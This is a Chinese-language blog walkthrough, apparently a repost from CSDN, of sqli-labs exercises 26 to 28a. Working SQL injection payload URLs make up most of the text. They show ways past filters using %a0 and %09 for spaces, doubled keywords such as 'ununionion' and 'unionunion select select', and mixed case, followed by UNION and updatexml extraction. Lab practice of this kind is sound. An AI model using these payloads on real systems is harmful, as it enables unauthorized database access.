            通過對參數（id）進行測試，判斷出該參數存在注入，閉合字元為（’），且背景過濾了（and,or,–,#,/*,/,空格），可以分别用（anandd，oorr，and’1’=1，%a0/圓括号）進行替換繞過過濾，同時伺服器傳回頁面存在回顯和報錯提示，可以使用UNION聯合查詢和報錯注入的方式來擷取資料庫資訊，采用UNION聯合查詢的方法的具體流程同sqliLab-23采用的UNION查詢法一樣，采用報錯注入的方法的具體流程同SqliLab-25采用的報錯注入的方法一樣，至此，SqliLab-26結束；
            2.6. SqliLab-26a（and，or，–，#，/*，/，空格，過濾繞過（’)閉合））
            2.6.1. 初始頁面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.6.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），并發現，初始頁面顯示，可能（or和and）都不能使用，同時發現可能同SqliLab-26類似，對（and,or,–,#,/*,/,空格）進行了過濾，注入點的閉合字元可能有所不同，但是判斷注入點時可以去測試一下；

            判斷是否存在背景對特殊字元進行了過濾

            EG：

            http://192.168.1.104/sql/Less-26a/?id=1 and 1=1 --+
//伺服器傳回頁面正确，同時發現空格和（and）以及（--）都被過濾了，按照SqliLab-26的經驗嘗試使用（%a0），(anandd)，（anandd%a01=1）進行替換構造；
http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=1%a0anand%a01=1--+
//伺服器傳回頁面正确，發現被過濾的字元都出現了，再對（or），（#）等進行嘗試；
http://192.168.1.104/sql/Less-26a/?id=1%a0or%a01=2%a0#
//伺服器傳回頁面正确，同時發現（or）和（#）都被過濾了，按照SqliLab-26的經驗嘗試使用（oorr），（anandd%a01=1）進行替換構造；
http://192.168.1.104/sql/Less-26a/?id=1%a0oorr%a01=2%a0anandd%a01=1
//伺服器傳回頁面正确，發現被過濾的字元都出現了，再對（/*），（/）進行嘗試；
...
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            由于背景對（and,or,–,#,/*,/,空格）進行了過濾，使用能繞過的字元進行替換，然後再構造payload判斷參數（id）是否存在注入；

            EG：

            http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=1%a0anandd%a01=1
//伺服器傳回頁面正确（預期正确），嘗試（1=2）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=2%a0anandd%a01=1
//伺服器傳回頁面正确（預期錯誤），嘗試使用（'）代替（）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1'%a0anandd%a01=1%a0anandd%a0'1'='1
//伺服器傳回頁面錯誤（預期正确），嘗試使用（"）代替（'）進行構造；、
http://192.168.1.104/sql/Less-26a/?id=1"%a0anandd%a01=1%a0anandd%a0"1"="1
//伺服器傳回頁面正确（預期正确），嘗試（1=2）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1"%a0anandd%a01=2%a0anandd%a0"1"="1
//伺服器傳回頁面正确（預期錯誤），嘗試使用（)）代替（"）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1)%a0anandd%a01=1%a0anandd%a0(1)=(1
//伺服器傳回頁面正确（預期正确），嘗試（1=2）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1)%a0anandd%a01=2%a0anandd%a0(1)=(1
//伺服器傳回頁面正确（預期錯誤），嘗試使用（]）代替（)）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1]%a0anandd%a01=1%a0anandd%a0[1]=[1
//伺服器傳回頁面正确（預期正确），嘗試（1=2）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1]%a0anandd%a01=2%a0anandd%a0[1]=[1
//伺服器傳回頁面正确（預期錯誤），嘗試使用（}）代替（]）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1}%a0anandd%a01=1%a0anandd%a0{1}={1
//伺服器傳回頁面正确（預期正确），嘗試（1=2）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1}%a0anandd%a01=2%a0anandd%a0{1}={1
//伺服器傳回頁面正确（預期錯誤），嘗試使用（''）代替（}）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1''%a0anandd%a01=1%a0anandd%a0''1''=''1
//伺服器傳回頁面正确（預期正确），嘗試（1=2）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1''%a0anandd%a01=2%a0anandd%a0''1''=''1
//伺服器傳回頁面正确（預期錯誤），嘗試使用（'"）代替（'"）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1'"%a0anandd%a01=1%a0anandd%a0"'1'"="'1
//伺服器傳回頁面正确（預期正确），嘗試（1=2）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1'"%a0anandd%a01=2%a0anandd%a0"'1'"="'1
//伺服器傳回頁面正确（預期錯誤），嘗試使用（'"）代替（'"）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1')%a0anandd%a01=1%a0anandd%a0('1')=('1
//伺服器傳回頁面正确（預期正确），嘗試（1=2）進行構造；
http://192.168.1.104/sql/Less-26a/?id=1')%a0anandd%a01=2%a0anandd%a0('1')=('1
//伺服器傳回頁面錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（')）；
//也可以考慮使用圓括号繞過空格過濾；
http://192.168.1.104/sql/Less-26a/?id=1')anandd(1=1)anandd('1')=('1
//伺服器傳回頁面正确（預期正确），嘗試使用（1=2）構造；
http://192.168.1.104/sql/Less-26a/?id=1')anandd(1=2)anandd('1')=('1
//伺服器傳回頁面錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（')）；

            判斷是否存在SQL語句報錯提示

            EG：

            http://192.168.1.104/sql/Less-26a/?id=1')^&%a0anandd%a01=1%a0anandd%a0'1'='1
//伺服器傳回頁面錯誤（預期錯誤），但不存在報錯提示；
            通過對參數（id）進行測試，判斷出該參數存在注入，閉合字元為（’)），且背景過濾了（and,or,–,#,/*,/,空格），可以分别用（anandd，oorr，and(‘1’)=('1，%a0/圓括号）進行替換繞過過濾，同時伺服器傳回頁面存在回顯，可以使用UNION聯合查詢的方式來擷取資料庫資訊，使用UNION聯合查詢的方法的具體流程同sqliLab-23采用的UNION查詢法一樣，至此，SqliLab-26a結束；
            2.7. SqliLab-27（union，select，–，#，/*，/，空格，過濾繞過（單引号閉合））
            2.7.1. 初始頁面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.7.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），并發現，初始頁面顯示，可能（union和select）都不能使用，但是先進行注入點的判斷；

            判斷是否存在背景對特殊字元進行了過濾

            EG：

            http://192.168.1.104/sql/Less-27/?id=1 and 1=1 --+
//伺服器傳回頁面正确，同時發現空格和（--）都被過濾了，嘗試使用（%09/圓括号），和（and(1)=1）進行替換構造；
http://192.168.1.104/sql/Less-27/?id=1%09and(1=1)and%091=1
//伺服器傳回頁面正确，發現被過濾的字元都出現了,再對（/*），（/）進行嘗試；
...
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            由于背景對（–,#,/*,/,空格）進行了過濾，使用能繞過的字元進行替換，然後再構造payload判斷參數（id）是否存在注入；

            EG：

            http://192.168.1.104/sql/Less-27/?id=1%09and(1=1)and%091=1
//伺服器傳回頁面正确（預期正确），嘗試使用（1=2）構造；
http://192.168.1.104/sql/Less-27/?id=1%09and(1=2)and%091=1
//伺服器傳回頁面正确（預期錯誤），嘗試使用（'）代替（）進行構造；
http://192.168.1.104/sql/Less-27/?id=1'and(1=1)and'1'='1
//伺服器傳回頁面正确（預期正确），嘗試使用（1=2）構造；
http://192.168.1.104/sql/Less-27/?id=1'and(1=2)and'1'='1
//伺服器傳回頁面錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（'）；

            判斷是否存在SQL語句報錯提示

            EG：

            http://192.168.1.104/sql/Less-27/?id=1'")and(1=1)and'1'='1
//伺服器傳回頁面錯誤（預期錯誤），存在報錯提示；
http://192.168.1.104/sql/Less-27/?id=1'%^)and(1=1)and'1'='1 
//伺服器傳回頁面錯誤（預期錯誤），存在報錯提示；

            經過對參數（id）測試，發現參數（id）存在注入，閉合字元為（’），同時背景過濾了（–，#，/*，/，空格），可以使用（and’1’='1，圓括号/%09）替換繞過，同時發現伺服器傳回頁面存在回顯和SQL語句報錯提示，可以考慮使用UNION聯合查詢和報錯注入的方式來擷取資料庫資訊，采用UNION聯合查詢的方法的具體流程同sqliLab-23采用的UNION查詢法一樣，采用報錯注入的方法的具體流程同SqliLab-25采用的報錯注入的方法一樣，隻是要注意一下要用合适的替換字元進行繞過，好像沒有經過UNION和SELECT的繞過嘗試，下面進行測試；

            2.7.3. 使用UNION聯合查詢擷取資料庫資訊

            EG：

            http://192.168.1.104/sql/Less-27/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//判斷出字段數為（3）,使用union聯合查詢擷取資訊；
http://192.168.1.104/sql/Less-27/?id=0'union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//伺服器傳回頁面錯誤，發現union和select消失，嘗試使用（ununionion）和（selselectect）進行替換構造；
http://192.168.1.104/sql/Less-27/?id=0'ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//伺服器傳回頁面錯誤，發現select消失，嘗試使用（SeLeCt）進行替換構造；
http://192.168.1.104/sql/Less-27/?id=0'ununionion%09SeLeCt(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and'1'='1
//伺服器傳回頁面正确，發現顯示了目前資料庫名為（security）,MySQL版本為（5.5.53），使用者為（[email protected]）;
...
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.7.4. 使用報錯注入擷取資料庫資訊

            EG：

            http://192.168.1.104/sql/Less-27/?id=1'and(updatexml(1,concat('|',database(),'|',version(),'|',user(),'|'),1))and'1'='1
//伺服器傳回頁面錯誤，同時發現SQL語句報錯提示顯示了目前資料庫名為（security）,MySQL版本為（5.5.53），使用者為（[email protected]）;
...
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            經過測試，得知，使用聯合查詢時，需要注意使用（ununionion）替換（union），使用（SELECT）替換（select）,同時空格考慮使用（圓括号和%09）替換，使用報錯注入則考慮空格使用（圓括号和%09替換，擷取其他資訊的方法如上面示例的一樣，至此，SqliLab-27結束；
            2.8. SqliLab-27a（union，select，–，#，/*，/，空格，過濾繞過（雙引号閉合））
            2.8.1. 初始頁面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.8.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），并發現，初始頁面顯示，可能（union和select）都不能使用，但是先進行注入點的判斷；

            EG：

            判斷是否存在背景對特殊字元進行了過濾

            http://192.168.1.104/sql/Less-27a/?id=1 and 1=1--+
//伺服器傳回頁面正确，發現構造語句中的空格和（--）都消失了（被過濾了），嘗試使用（%09/圓括号）和（#）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1#
//伺服器傳回頁面正确，發現構造語句中的空格出現了，但是（#）消失了（被過濾了），嘗試使用（%23）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%23
//伺服器傳回頁面正确，發現構造語句中的（%23）消失了（被過濾了），嘗試使用（and%091=1）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//伺服器傳回頁面正确，發現構造語句成功閉合，再判斷(or)是否被過濾；
http://192.168.1.104/sql/Less-27a/?id=1%09or%091=2%09and%091=1
//伺服器傳回頁面正确，發現構造語句中的(or)未消失，即未被過濾，再判斷（/*，/）是否被過濾；
http://192.168.1.104/sql/Less-27a/?id=1/'or/**/1=2%09and%091=1
//伺服器傳回頁面正确，發現構造語句中的（/）和（/*）都消失了（被過濾了）;

            由于背景對（–,#,/*,/,空格）進行了過濾，使用能繞過的字元進行替換，然後再構造payload判斷參數（id）是否存在注入；

            EG：

            http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1%09and%091=1%09and%091=1
//伺服器傳回正确（預期錯誤），嘗試使用（'）替換（）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1'%09and%091=1%09and%09'1'='1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1'%09and%091=2%09and%09'1'='1
//伺服器傳回正确（預期錯誤），嘗試使用（"）替換（'）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1"%09and%091=1%09and%09"1"="1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1"%09and%091=2%09and%09"1"="1
//伺服器傳回錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（"）;

            判斷是否存在SQL語句報錯提示

            EG：

            http://192.168.1.104/sql/Less-27a/?id=1"))^%09and%091=1%09and%09"1"="1
//伺服器傳回頁面錯誤，但無報錯提示，嘗試使用（""^%)）代替（"))^）進行構造；
http://192.168.1.104/sql/Less-27a/?id=1""^%)09and%091=1%09and%09"1"="1
//伺服器傳回頁面錯誤，但無報錯提示；
...
//經過過測試，發現，伺服器傳回頁面不存在SQL語句報錯提示；

            經過對參數（id）測試，發現參數（id）存在注入，閉合字元為（"），同時背景過濾了（–，#，/*，/，空格），可以使用（and"1"="1，圓括号/%09）替換繞過，同時發現伺服器傳回頁面存在回顯,可以考慮使用UNION聯合查詢的方式來擷取資料庫資訊，采用UNION聯合查詢的方法的具體流程同sqliLab-23采用的UNION查詢法一樣，隻是要注意一下要用合适的替換字元進行繞過，進行UNION聯合查詢時，先要判斷UNION和SELECT是否被過濾，下面進行測試；

            2.8.3. 使用UNION聯合查詢擷取資料庫資訊

            EG：

            http://192.168.1.104/sql/Less-27a/?id=1"%09order%09by%091,2,3,4,5%09and"1"="1
//伺服器傳回頁面錯誤，判斷出字段數為（3）,使用union聯合查詢擷取資訊；
http://192.168.1.104/sql/Less-27a/?id=0"union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//伺服器傳回頁面錯誤，發現union和select消失，嘗試使用（ununionion）和（selselectect）進行替換構造；
http://192.168.1.104/sql/Less-27a/?id=0"ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//伺服器傳回頁面錯誤，發現select消失，嘗試使用（SeLeCt）進行替換構造；
http://192.168.1.104/sql/Less-27a/?id=0"ununionion%09SeLeCt(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and"1"="1
//伺服器傳回頁面正确，發現顯示了目前資料庫名為（security）,MySQL版本為（5.5.53），使用者為（[email protected]）;
...
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            經過測試，得知，使用聯合查詢時，需要注意使用（ununionion）替換（union），使用（SELECT）替換（select）,同時空格考慮使用（圓括号和%09）替換，擷取其他資訊的方法如上面示例的一樣，至此，SqliLab-27a結束；
            2.9. SqliLab-28（（union select），–，#，/*，/，空格，過濾繞過（’)閉合））
            2.9.1. 初始頁面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.9.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），并發現，初始頁面顯示，可能（union和select）都不能使用，但是先進行注入點的判斷；

            EG：

            判斷是否存在背景對特殊字元進行了過濾

            http://192.168.1.104/sql/Less-28/?id=1 and 1=1--+
//伺服器傳回頁面正确，發現構造語句中的空格和（--）都消失了（被過濾了），嘗試使用（%09/圓括号）和（#）進行構造；
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1#
//伺服器傳回頁面正确，發現構造語句中的空格出現了，但是（#）消失了（被過濾了），嘗試使用（%23）進行構造；
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%23
//伺服器傳回頁面正确，發現構造語句中的（%23）消失了（被過濾了），嘗試使用（and%091=1）進行構造；
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//伺服器傳回頁面正确，發現構造語句成功閉合，再判斷(or)是否被過濾；
http://192.168.1.104/sql/Less-28/?id=1%09or%091=2%09and%091=1
//伺服器傳回頁面正确，發現構造語句中的(or)未消失，即未被過濾，再判斷（/*，/）是否被過濾；
http://192.168.1.104/sql/Less-28/?id=1/'or/**/1=2%09and%091=1
//伺服器傳回頁面正确，發現構造語句中的（/）和（/*）都消失了（被過濾了）;

            由于背景對（–,#,/*,/,空格）進行了過濾，使用能繞過的字元進行替換，然後再構造payload判斷參數（id）是否存在注入；

            EG：

            http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1%09and%091=1%09and%091=1
//伺服器傳回正确（預期錯誤），嘗試使用（'）替換（）進行構造；
http://192.168.1.104/sql/Less-28/?id=1'%09and%091=1%09and%09'1'='1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1'%09and%091=2%09and%09'1'='1
//伺服器傳回錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（"），再次嘗試使用（"）替換（'）進行構造；
http://192.168.1.104/sql/Less-28/?id=1"%09and%091=1%09and%09"1"="1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1"%09and%091=2%09and%09"1"="1
//伺服器傳回正确（預期錯誤），嘗試使用（)）替換（"）進行構造；
http://192.168.1.104/sql/Less-28/?id=1)%09and%091=1%09and%09(1)=(1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1)%09and%091=2%09and%09(1)=(1
//伺服器傳回正确（預期錯誤），嘗試使用（]）替換（)）進行構造；
http://192.168.1.104/sql/Less-28/?id=1]%09and%091=1%09and%09[1]=[1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1]%09and%091=2%09and%09[1]=[1
//伺服器傳回正确（預期錯誤），嘗試使用（}）替換（]）進行構造；
http://192.168.1.104/sql/Less-28/?id=1}%09and%091=1%09and%09{1}={1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1}%09and%091=2%09and%09{1}={1
//伺服器傳回正确（預期錯誤），嘗試使用（''）替換（}）進行構造；
http://192.168.1.104/sql/Less-28/?id=1''%09and%091=1%09and%09''1''=''1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1''%09and%091=2%09and%09''1''=''1
//伺服器傳回正确（預期錯誤），嘗試使用（'"）替換（''）進行構造；
http://192.168.1.104/sql/Less-28/?id=1'"%09and%091=1%09and%09"'1'"="'1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1'"%09and%091=2%09and%09"'1'"="'1
//伺服器傳回正确（預期錯誤），嘗試使用（')）替換（')）進行構造；
http://192.168.1.104/sql/Less-28/?id=1')%09and%091=1%09and%09('1')=('1
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28/?id=1')%09and%091=2%09and%09('1')=('1
//伺服器傳回錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（')）;

            判斷是否存在SQL語句報錯提示

            EG：

            http://192.168.1.104/sql/Less-28/?id=1"))^%09and%091=1%09and%09"1"="1
//伺服器傳回頁面錯誤，但無報錯提示，嘗試使用（""^%)）代替（"))^）進行構造；
http://192.168.1.104/sql/Less-28/?id=1""^%)09and%091=1%09and%09"1"="1
//伺服器傳回頁面錯誤，但無報錯提示；
...
//經過測試，發現伺服器傳回頁面不存在SQL語句報錯提示；

            經過對參數（id）測試，發現參數（id）存在注入，閉合字元為（‘或’)）(後面可以通過假設是正确的閉合字元進行測試，出現預期之外的結果的閉合字元則不是正确的閉合字元)，同時背景過濾了（–，#，/*，/，空格），可以使用（and’1’='1或者and(‘1’)=('1，圓括号/%09）替換繞過，同時發現伺服器傳回頁面存在回顯,可以考慮使用UNION聯合查詢的方式來擷取資料庫資訊，采用UNION聯合查詢的方法的具體流程同sqliLab-23采用的UNION查詢法一樣，隻是要注意一下要用合适的替換字元進行繞過，進行UNION聯合查詢時，先要判斷UNION和SELECT是否被過濾，下面進行測試；

            2.9.3. 使用UNION聯合查詢擷取資料庫資訊

            EG：

            ...
http://192.168.1.104/sql/Less-28/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//伺服器傳回頁面錯誤，再次嘗試；
http://192.168.1.104/sql/Less-28/?id=1'%09order%09by%091,2,3,4,5%09and'1'='1
//伺服器傳回頁面錯誤，再次嘗試；
...
http://192.168.1.104/sql/Less-28/?id=1')%09order%09by%091,2,3,4,4%09and('1')=('1
//伺服器傳回頁面正确，再次嘗試；
http://192.168.1.104/sql/Less-28/?id=1')%09order%09by%091,2,3,4,5%09and('1')=('1
//伺服器傳回頁面錯誤，判斷出字段數為（3）,同時參數（id）的閉合字元為（')）,使用union聯合查詢擷取資訊；
http://192.168.1.104/sql/Less-28/?id=0')union%09select%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//伺服器傳回頁面錯誤，發現union和select消失，嘗試使用（ununionion）和（selselectect）進行替換構造；
http://192.168.1.104/sql/Less-28/?id=0')ununionion%09selselectect%091,concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//伺服器傳回頁面錯誤，發現（ununionion）和（selselectect）未被過濾，嘗試使用（unionunion%09select%09select）進行替換構造（過濾掉（union select），剩下的（union）和 （ select）重新組合成（union select））；
http://192.168.1.104/sql/Less-28/?id=0')unionunion%09select%09select(1),concat('|',database(),'|',version(),'|',user(),'|'),(2)and('1')=('1
//伺服器傳回頁面正确，發現顯示了目前資料庫名為（security）,MySQL版本為（5.5.53），使用者為（[email protected]）;
...
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            經過測試，得知，使用聯合查詢時，需要注意使用（unionunion%09select%09select）替換（union%09select）,同時空格考慮使用（圓括号和%09）替換，擷取其他資訊的方法如上面示例的一樣，至此，SqliLab-28結束；
            2.10. SqliLab-28a（（union select），過濾繞過（’)閉合））
            2.10.1. 初始頁面
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）

            2.10.2. 判斷注入點（關鍵步驟）

            觀察發現是GET型資料傳送，參數為（id），并發現，初始頁面顯示，可能（union和select）都不能使用，但是先進行注入點的判斷；

            EG：

            判斷是否存在背景對特殊字元進行了過濾

            http://192.168.1.104/sql/Less-28a/?id=1 and 1=1 --+
//伺服器傳回頁面正确，發現構造語句中的空格和and以及（--）并未消失（被過濾了），再判斷（/*，or,/）是否被過濾；
http://192.168.1.104/sql/Less-28a/?id=1/' or /**/ 1=1 --+
//伺服器傳回頁面錯誤，發現構造語句中的（/）和（/*）以及（or）都未消失（被過濾了）;

            由于背景對（–,#,/*,/,空格）未進行過濾，是以直接構造payload判斷參數（id）是否存在注入；

            EG：

            http://192.168.1.104/sql/Less-28a/?id=1 and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1 and 1=2 --+
//伺服器傳回正确（預期錯誤），嘗試使用（'）替換（）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1' and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1' and 1=2 --+
//伺服器傳回正确（預期錯誤），嘗試使用（"）替換（'）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1" and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1" and 1=2 --+
//伺服器傳回正确（預期錯誤），嘗試使用（)）替換（"）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1) and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1) and 1=2 --+
//伺服器傳回正确（預期錯誤），嘗試使用（]）替換（)）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1] and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1] and 1=2 --+
//伺服器傳回正确（預期錯誤），嘗試使用（}）替換（]）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1} and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1} and 1=2 --+
//伺服器傳回正确（預期錯誤），嘗試使用（''）替換（}）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1'' and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1'' and 1=2 --+
//伺服器傳回正确（預期錯誤），嘗試使用（'"）替換（''）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1'" and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1'" and 1=2 --+
//伺服器傳回正确（預期錯誤），嘗試使用（')）替換（')）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1') and 1=1 --+
//伺服器傳回正确（預期正确），嘗試使用（1=2）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1') and 1=2 --+
//伺服器傳回錯誤（預期錯誤），判斷參數（id）存在注入，閉合字元為（')）;

            判斷是否存在SQL語句報錯提示

            EG：

            http://192.168.1.104/sql/Less-28a/?id=1'")) and 1=1 --+
//伺服器傳回頁面錯誤，但無報錯提示，嘗試使用（""^%)^）代替（'"))）進行構造；
http://192.168.1.104/sql/Less-28a/?id=1""^%)^ and 1=1 --+
//伺服器傳回頁面正确，但無報錯提示；
...
//經過測試，發現伺服器傳回頁面不存在SQL語句報錯提示；

            經過對參數（id）測試，發現參數（id）存在注入，閉合字元為（’)），同時背景未過濾（–，#，/*，/，空格），同時發現伺服器傳回頁面存在回顯,可以考慮使用UNION聯合查詢的方式來擷取資料庫資訊，采用UNION聯合查詢的方法的具體流程同sqliLab-23采用的UNION查詢法一樣，隻是要注意一下在進行UNION聯合查詢時，先要判斷UNION和SELECT是否被過濾，下面進行測試；

            2.10.3. 使用UNION聯合查詢擷取資料庫資訊

            EG：

            ...
http://192.168.1.104/sql/Less-28a/?id=1') order by 1,2,3--+
//伺服器傳回頁面正确，再次嘗試；
http://192.168.1.104/sql/Less-28a/?id=1') order by 1,2,3,4--+
//伺服器傳回頁面錯誤，判斷出字段數為（3）使用union聯合查詢擷取資訊；
http://192.168.1.104/sql/Less-28a/?id=0')union select 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//伺服器傳回頁面錯誤，發現union和select消失，嘗試使用（ununionion）和（selselectect）進行替換構造；
http://192.168.1.104/sql/Less-28a/?id=0')ununionion selselectect 1,concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//伺服器傳回頁面錯誤，發現（ununionion）和（selselectect）未被過濾，嘗試使用（unionunion select select）進行替換構造（過濾掉（union select），剩下的（union）和 （ select）重新組合成（union select））；
http://192.168.1.104/sql/Less-28a/?id=0')unionunion select select(1),concat('|',database(),'|',version(),'|',user(),'|'),2 --+
//伺服器傳回頁面正确，發現顯示了目前資料庫名為（security）,MySQL版本為（5.5.53），使用者為（[email protected]）;
...
            SqliLab_Mysql_Injection詳解_字元型注入(九)_過濾繞過_二次注入（23~28a）
            經過測試，得知，使用聯合查詢時，需要注意使用（unionunion select select）替換（union select）,擷取其他資訊的方法如上面示例的一樣，至此，SqliLab-28a結束；

            3. 總結

            對于存在過濾的繞過注入的一般流程是先判斷背景對哪些字元進行了過濾了，然後再使用相應的政策去替換被過濾的字元，達到繞過的目的，然後就是使用被替換後的字元構造的payload去判斷參數是否存在注入，最後根據對注入點判斷的結果，采取合适的注入方式擷取資料庫資訊（需要注意的是對于某些特殊字元的替換，針對不同的過濾，要靈活的變通）；對于二次注入，則需要利用所給的條件（SQL語句正确執行導緻的錯誤（注入語句未被過濾）），向資料庫注入payload，然後在，再次注入新的payload時，調用存儲在資料庫的payload，達到注入擷取資料庫資訊的目的。

            [如有錯誤，請指出，拜托了<( _ _ )> ！！！]

版權聲明：本文為CSDN部落客「qq_41260930」的原創文章，遵循CC 4.0 BY-SA版權協定，轉載請附上原文出處連結及本聲明。

原文連結：https://blog.csdn.net/qq_41260930/article/details/102838945

# MYSQL注入學習 過濾繞過 二次注入
上一篇: java spring 事務處理_Spring架構事務處理和SpringMVC
下一篇: java hibernate事務處理_Hibernate事務處理

繼續閱讀